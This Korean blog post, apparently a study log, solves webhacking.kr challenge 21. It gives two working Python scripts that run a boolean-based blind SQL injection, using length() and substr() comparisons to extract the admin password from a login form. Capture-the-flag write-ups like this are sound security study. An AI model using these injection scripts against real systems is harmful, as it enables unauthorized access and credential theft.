보안 공부/webhacking.kr

webhacking.kr 21번 풀이

sh1256 2021. 12. 5. 20:14
728x90

첫화면

일단 간단하게 id를 admin으로 해서 시도해 봅시다

결과

흠 단순히 login fail이라고 나오네요

 

간단한 sql injection구문을 넣어봅시다

결과

음 똑같이 나오네요? pw에 시도해 봅시다.

 

어 이번엔 좀 다르게 나옵니다. 

 

결과

이번에도 다르게 'no hack'이라고 나오네요

이번엔 'guest'로 로그인 해봤는데 빠밤 성공이라고 뜨네요!

 

일단 노가다로 이것저것 해 봐서 알아낸 것들은

1. 필터링 되는 문자(대소문자구분X): select

2. 필터링 안되는 문자: where, from, union, #, -- , 

3. 참일 경우: worng password

4. 거짓일 경우: login fail

 

이렇게 긴 방황의 끝에 드디어 갈피를 찾았습니다. 

바로 참과 거짓을 통해 pw를 알아내는 것이죠!!

password가 pw라는 변수에 들어가 있다고 생각해 봅시다. 그리고 length(pw)를 사용해 pw의 길이를 알아내 봅시다

시도 결과 참이라고 뜨네요~~

이 방법을 이용해서 pw의 길이와 내용 모두 알아냅시다

import requests
URL='https://webhacking.kr/challenge/bonus-1/index.php'
cookie={'PHPSESSID': '----------------------'}

length=1
while True:
    #print(length)
    #param=f'?id=admin&pw=%27+or+length(pw)={length}#'
    #param=f'?id=admin&pw=%27+or+length%28pw%29%3D{length}%23'
    param=f'?id=guest&pw=%27%20or%20id=%27admin%27%20and%20length(pw)={length}%23'
    #f-string사용 length변수 사용에 필요함.
    res= requests.get(URL+param)
   
    if "wrong password" in res.text:
        break;
    else:
        length+=1
        
print("pw 길이: "+str(length))

pw=""
for i in range(length):
    ans=33
    while True:
        #print("%d번째 문자: %c시도중"%(i+1, ans))
        param= f'?id=guest&pw=%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,{i+1},1))={ans}%23'
        res= requests.get(URL+param, cookies=cookie)
        if "wrong password" in res.text:            
            pw+=chr(ans)
            print("%d번째 문자확인: %s"%(i+1, pw))
            break;
        else:
            ans+=1

성공!!

 

 

++ 또다른 코드

import requests

url = 'https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw='
TRUE_PHRASE = 'wrong password'


def query(payload):
    res = requests.get(url + payload)
    content = res.text
    return TRUE_PHRASE in content


def pw_length():
    pw_len = 1
    while query("' or id='admin' and length(pw)={}-- ".format(pw_len)) is False:
        pw_len += 1
    print('pw_len: {}'.format(pw_len))
    return pw_len


def find_pw():  # 문자열을 아스키코드로 반환하는 ord 함수 사용
    pw_len = pw_length()
    pw = ''
    for i in range(1, pw_len + 1):
        for char in range(0, 128):
            if query("' or id='admin' and ord(substr(pw,{},1))={}-- ".format(i, char)) is True:  # 한글자씩 검사
                pw += chr(char)
                break
    print('pw: {}'.format(pw))


find_pw()

https://velog.io/@julia/webhacking.kr-11%EB%B2%88-%ED%92%80%EC%9D%B4

'보안 공부 > webhacking.kr' 카테고리의 다른 글

webhacking.kr 5번 풀이  (0) 2021.12.05
webhacking.kr 26번 풀이  (0) 2021.12.05
webhacking.kr 3번 풀이  (0) 2021.12.04
webhacking.kr 2번 풀이(파이썬 이용)  (0) 2021.12.03
webhacking.kr 2번 풀이  (0) 2021.12.03